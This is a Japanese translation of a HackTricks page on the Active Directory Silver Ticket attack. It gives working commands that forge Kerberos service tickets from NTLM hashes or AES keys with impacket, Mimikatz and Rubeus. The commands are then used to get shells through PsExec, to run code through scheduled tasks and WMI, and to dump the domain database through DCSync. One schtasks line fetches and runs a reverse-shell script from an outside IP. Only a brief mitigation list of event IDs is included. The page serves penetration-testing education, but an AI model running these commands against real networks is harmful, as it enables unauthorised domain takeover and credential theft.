hacktricks/windows-hardening/active-directory-methodology/silver-ticket.md

13 KiB
Raw Blame History

シルバーチケット

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

ハッキングのキャリアに興味があり、ハッカブルではないものをハックしたい方 - 採用中です! (流暢なポーランド語の読み書きが必要です).

{% embed url="https://www.stmcyber.com/careers" %}

シルバーチケット

シルバーチケット攻撃は、サービスのNTLMハッシュを取得した後に、そのサービスの有効なTGSを作成することに基づいています(例えば、PCアカウントのハッシュのように。したがって、カスタムTGSを偽造することで、任意のユーザーとしてそのサービスにアクセスすることが可能です。

この場合、AD内のユーザーアカウントのようなコンピュータアカウントのNTLMハッシュ取得されています。したがって、SMBサービスを通じてそのマシンに管理者権限でアクセスするためのチケットを作成することが可能です。コンピュータアカウントはデフォルトで30日ごとにパスワードをリセットします。

また、AES KerberosキーAES128およびAES256を使用してチケットを偽造することが可能であり、望ましいオペレーションセキュリティの観点からことも考慮する必要があります。AESキーの生成方法については、MS-KILEのセクション4.4またはGet-KerberosAESKey.ps1を読んでください。

{% code title="Linux" %}

python ticketer.py -nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park -spn cifs/labwws02.jurassic.park stegosaurus
export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache
python psexec.py jurassic.park/stegosaurus@labwws02.jurassic.park -k -no-pass
Windowsでは、**Mimikatz**を使用して**チケット**を**作成**できます。次に、**Rubeus**を使用してチケットを**注入**し、最終的に**PsExec**のおかげでリモートシェルを取得できます。

{% code title="Windows" %}
#Create the ticket
mimikatz.exe "kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park"
#Inject in memory using mimikatz or Rubeus
mimikatz.exe "kerberos::ptt ticket.kirbi"
.\Rubeus.exe ptt /ticket:ticket.kirbi
#Obtain a shell
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd

#Example using aes key
kerberos::golden /user:Administrator /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /target:labwws02.jurassic.park /service:cifs /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /ticket:srv2-cifs.kirbi

{% endcode %}

CIFS サービスは、被害者のファイルシステムにアクセスを可能にするものです。他のサービスはこちらで見つけることができます:https://adsecurity.org/?page_id=183 例えば、コンピュータに schtask を作成するために HOST サービス を使用できます。これが機能したかどうかを確認するために、被害者のタスクをリストアップしてみてください:schtasks /S <hostname> または、コンピュータで WMI クエリを実行するために HOST と RPCSS サービス を使用し、テストするには:Get-WmiObject -Class win32_operatingsystem -ComputerName <hostname>

軽減策

Silver ticket イベント ID (golden ticket よりも隠密性が高い)

  • 4624: アカウントログオン
  • 4634: アカウントログオフ
  • 4672: 管理者ログオン

Silver Tickets についての詳細情報は ired.team で

利用可能なサービス

サービスタイプ サービス Silver Tickets
WMI

HOST

RPCSS

PowerShell リモーティング

HOST

HTTP

OSによっては以下も:

WSMAN

RPCSS

WinRM

HOST

HTTP

場合によっては単に要求する: WINRM

スケジュールされたタスク HOST
Windows ファイル共有、または psexec CIFS
LDAP 操作、DCSync を含む LDAP
Windows リモートサーバー管理ツール

RPCSS

LDAP

CIFS

Golden Tickets krbtgt

Rubeus を使用すると、以下のパラメータを使用してこれらのチケットをすべて要求することができます:

  • /altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm

サービスチケットの悪用

以下の例では、チケットが管理者アカウントを偽装して取得されたと想定しましょう。

CIFS

このチケットを使用すると、SMB 経由で C$ADMIN$ フォルダにアクセスし(公開されている場合)、リモートファイルシステムの一部にファイルをコピーすることができます。例えば:

dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp

以下は、ホスト内でシェルを取得したり、psexecを使用して任意のコマンドを実行する方法についての記述です:

{% content-ref url="../ntlm/psexec-and-winexec.md" %} psexec-and-winexec.md {% endcontent-ref %}

HOST

この権限を持つと、リモートコンピューターでスケジュールされたタスクを生成し、任意のコマンドを実行できます:

#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"

HOST + RPCSS

これらのチケットを使用すると、被害者システムでWMIを実行できます:

#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"

#You can also use wmic
wmic remote.computer.local list full /format:list

以下のページでwmiexecに関する詳細情報を見つけることができます:

{% content-ref url="../ntlm/wmicexec.md" %} wmicexec.md {% endcontent-ref %}

HOST + WSMAN (WINRM)

winrmを介してコンピュータにアクセスすると、アクセスしてPowerShellを取得することもできます

New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC

以下のページを確認して、winrmを使用してリモートホストに接続する他の方法を学びましょう:

{% content-ref url="../ntlm/winrm.md" %} winrm.md {% endcontent-ref %}

{% hint style="warning" %} リモートコンピュータにアクセスするには、winrmがアクティブでリスニングしている必要があります。 {% endhint %}

LDAP

この権限を持っていると、DCSyncを使用してDCデータベースをダンプできます

mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt

DCSyncについてもっと学ぶには、次のページをご覧ください:

{% content-ref url="dcsync.md" %} dcsync.md {% endcontent-ref %}

ハッキングのキャリアに興味があり、ハック不可能なものをハックしたい方 - 採用情報!流暢なポーランド語の読み書きが必要です)。

{% embed url="https://www.stmcyber.com/careers" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥